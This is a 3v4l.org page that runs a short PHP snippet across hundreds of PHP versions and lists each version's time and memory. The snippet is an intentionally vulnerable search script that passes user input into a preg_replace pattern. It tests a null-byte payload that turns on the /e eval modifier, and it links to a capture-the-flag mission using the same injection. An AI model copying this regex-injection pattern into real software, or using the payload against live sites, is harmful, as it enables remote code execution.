3v4l.org

run code in 300+ PHP versions simultaneously
<?php //$search = htmlentities($_GET['search']); $x="phpinfo();#||/e\x00"; $search=htmlentities($x); echo $search; echo "\n"; if (strpos($search, 'apple') !== false){ echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "apple"); }elseif (strpos($search, 'orange') !== false){ echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "orange"); }elseif (strpos($search, 'banana') !== false){ echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "banana"); }elseif (strpos($search, 'kiwi') !== false){ echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "kiwi"); }else echo "Please search for apple, orange, banana, or kiwi."; #http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2011-July/007960.html #http://ha.xxor.se/2011/06/null-byte-injection-in-pregreplace.html #http://www.enigmagroup.org/missions/basics/auditing/12/index.php?search=phpinfo();%23|apple/e%00

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.01117.94
8.3.50.0130.00520.96
8.3.40.0100.00618.77
8.3.30.0090.00618.54
8.3.20.0110.00320.20
8.3.10.0040.00421.85
8.3.00.0050.00517.80
8.2.180.0070.00725.92
8.2.170.0140.00618.82
8.2.160.0120.00322.96
8.2.150.0040.00425.66
8.2.140.0060.00324.66
8.2.130.0080.00026.16
8.2.120.0130.00317.38
8.2.110.0030.00620.35
8.2.100.0040.00817.63
8.2.90.0060.00319.27
8.2.80.0000.00817.97
8.2.70.0040.00417.48
8.2.60.0030.00618.04
8.2.50.0000.01218.07
8.2.40.0090.00021.19
8.2.30.0030.00619.82
8.2.20.0000.00817.70
8.2.10.0040.00418.17
8.2.00.0030.00518.19
8.1.280.0090.00625.92
8.1.270.0140.00324.66
8.1.260.0040.00426.35
8.1.250.0060.00328.09
8.1.240.0050.00523.88
8.1.230.0000.01117.48
8.1.220.0050.00317.74
8.1.210.0050.00318.77
8.1.200.0030.00617.13
8.1.190.0000.00817.23
8.1.180.0000.00718.10
8.1.170.0030.00518.49
8.1.160.0040.00421.93
8.1.150.0040.00418.80
8.1.140.0030.00517.42
8.1.130.0040.00417.70
8.1.120.0070.00017.41
8.1.110.0000.00717.43
8.1.100.0050.00217.37
8.1.90.0030.00517.34
8.1.80.0000.00717.41
8.1.70.0040.00417.42
8.1.60.0030.00517.50
8.1.50.0080.00017.54
8.1.40.0000.00817.43
8.1.30.0040.00417.56
8.1.20.0040.00417.65
8.1.10.0050.00217.54
8.1.00.0040.00417.35
8.0.300.0050.00218.77
8.0.290.0000.00816.75
8.0.280.0030.00318.30
8.0.270.0070.00017.25
8.0.260.0000.00617.23
8.0.250.0040.00416.89
8.0.240.0060.00017.00
8.0.230.0030.00316.88
8.0.220.0000.00716.85
8.0.210.0030.00516.84
8.0.200.0030.00316.89
8.0.190.0040.00416.87
8.0.180.0000.00816.88
8.0.170.0080.00016.78
8.0.160.0000.00816.71
8.0.150.0040.00416.80
8.0.140.0030.00516.81
8.0.130.0030.00313.30
8.0.120.0030.00616.86
8.0.110.0040.00416.87
8.0.100.0000.00716.78
8.0.90.0000.00716.89
8.0.80.0100.01016.78
8.0.70.0070.00016.84
8.0.60.0000.00716.77
8.0.50.0050.00216.79
8.0.30.0110.00717.07
8.0.20.0160.00517.40
8.0.10.0040.00416.91
8.0.00.0120.00516.60
7.4.330.0030.00315.08
7.4.320.0000.00616.61
7.4.300.0000.00716.44
7.4.290.0050.00216.63
7.4.280.0000.00916.59
7.4.270.0030.00316.53
7.4.260.0000.00716.49
7.4.250.0040.00416.48
7.4.240.0000.00716.59
7.4.230.0000.00816.59
7.4.220.0070.01116.71
7.4.210.0070.00716.71
7.4.200.0000.00716.40
7.4.160.0100.00716.51
7.4.150.0170.00717.40
7.4.140.0090.01017.86
7.4.130.0090.00816.57
7.4.120.0110.00716.46
7.4.110.0100.00716.37
7.4.100.0100.01616.37
7.4.90.0070.01116.46
7.4.80.0110.00819.39
7.4.70.0070.01016.48
7.4.60.0060.00916.49
7.4.50.0040.00416.46
7.4.40.0070.01016.41
7.4.30.0060.01316.45
7.4.00.0130.00014.98
7.3.330.0000.00613.21
7.3.320.0000.00513.17
7.3.310.0030.00516.35
7.3.300.0040.00416.14
7.3.290.0070.00816.28
7.3.280.0100.01016.31
7.3.270.0090.01517.40
7.3.260.0100.01016.18
7.3.250.0130.00816.30
7.3.240.0180.00316.55
7.3.230.0150.00616.39
7.3.210.0130.00716.48
7.3.200.0060.01019.39
7.3.190.0030.01716.32
7.3.180.0170.00316.44
7.3.170.0090.01216.27
7.3.160.0060.01316.19
7.2.330.0080.01916.52
7.2.320.0070.01016.64
7.2.310.0070.01016.61
7.2.300.0150.00616.67
7.2.290.0100.01316.63
7.2.00.0000.01319.22
7.1.100.0090.00918.14
7.1.70.0000.00817.26
7.1.60.0180.00720.03
7.1.50.0080.01117.10
7.1.00.0030.07722.43
7.0.200.0080.00416.91
7.0.110.0030.05320.02
7.0.100.0100.05720.02
7.0.90.0070.06019.98
7.0.80.0400.05020.06
7.0.70.0070.07720.07
7.0.60.0200.05720.03
7.0.50.0030.07019.98
7.0.40.0030.09019.66
7.0.30.0100.07319.88
7.0.20.0100.06719.78
7.0.10.0070.07719.68
7.0.00.0170.03319.78
5.6.280.0070.06721.09
5.6.260.0070.03720.66
5.6.250.0100.07320.75
5.6.240.0100.06720.57
5.6.230.0070.03720.56
5.6.220.0030.04020.68
5.6.210.0030.06020.73
5.6.200.0070.03720.56
5.6.190.0030.04020.63
5.6.180.0070.03720.66
5.6.170.0000.04320.70
5.6.160.0030.04720.65
5.6.150.0100.03320.57
5.6.140.0000.04720.65
5.6.130.0070.03720.64
5.6.120.0000.04020.56
5.6.110.0000.04020.58
5.6.100.0070.04020.64
5.6.90.0100.03720.45
5.6.80.0000.06019.92
5.6.70.0070.06319.96
5.6.60.0030.05719.94
5.6.50.0030.04019.95
5.6.40.0030.03719.95
5.6.30.0130.06720.22
5.6.20.0030.08720.00
5.6.10.0000.04719.98
5.6.00.0070.07720.04
5.5.380.0030.04317.48
5.5.370.0030.05717.63
5.5.360.0030.07317.62
5.5.350.0030.07717.66
5.5.340.0070.08017.99
5.5.330.0030.04018.03
5.5.320.0070.03717.90
5.5.310.0070.04018.00
5.5.300.0100.07317.86
5.5.290.0030.05018.13
5.5.280.0000.04018.26
5.5.270.0000.04318.15
5.5.260.0030.03717.84
5.5.250.0030.05017.68
5.5.240.0030.03717.17
5.5.230.0000.04317.14
5.5.220.0000.03717.10
5.5.210.0070.02717.14
5.5.200.0030.04017.45
5.5.190.0070.07017.36
5.5.180.0030.04717.60
5.5.160.0030.05717.45
5.5.150.0070.06317.11
5.5.140.0030.04317.51
5.5.130.0230.06317.47
5.5.120.0000.04017.20
5.5.110.0170.05017.36
5.5.100.0070.07017.35
5.5.90.0170.02017.42
5.5.80.0030.07317.38
5.5.70.0000.05717.36
5.5.60.0070.03717.09
5.5.50.0070.03017.08
5.5.40.0100.07717.08
5.5.30.0000.04017.26
5.5.20.0100.03017.10
5.5.10.0000.05717.10
5.5.00.0000.04317.36
5.4.450.0070.04019.36
5.4.440.0030.04019.50
5.4.430.0000.03719.59
5.4.420.0030.06719.27
5.4.410.0070.04719.20
5.4.400.0070.06718.99
5.4.390.0000.04018.93
5.4.380.0030.03719.19
5.4.370.0070.05718.98
5.4.360.0000.04318.93
5.4.350.0100.05019.13
5.4.340.0000.04319.04
5.4.320.0070.04018.96
5.4.310.0030.08319.00
5.4.300.0030.03719.27
5.4.290.0100.07719.11
5.4.280.0070.04718.94
5.4.270.0070.03719.00
5.4.260.0070.04019.00
5.4.250.0030.03719.15
5.4.240.0100.03719.02
5.4.230.0030.05318.94
5.4.220.0100.07018.95
5.4.210.0070.07719.24
5.4.200.0130.04718.94
5.4.190.0030.03318.99
5.4.180.0030.03719.02
5.4.170.0030.08019.26
5.4.160.0100.03019.25
5.4.150.0100.03719.25
5.4.140.0070.03316.57
5.4.130.0030.03716.46
5.4.120.0030.03716.44
5.4.110.0070.03316.08
5.4.100.0030.07716.48
5.4.90.0100.05016.28
5.4.80.0070.03016.36
5.4.70.0070.03316.51
5.4.60.0000.03716.46
5.4.50.0070.03316.50
5.4.40.0000.07316.55
5.4.30.0030.03316.46
5.4.20.0000.03716.25
5.4.10.0070.03716.43
5.4.00.0000.04315.91

preferences:
50.52 ms | 401 KiB | 5 Q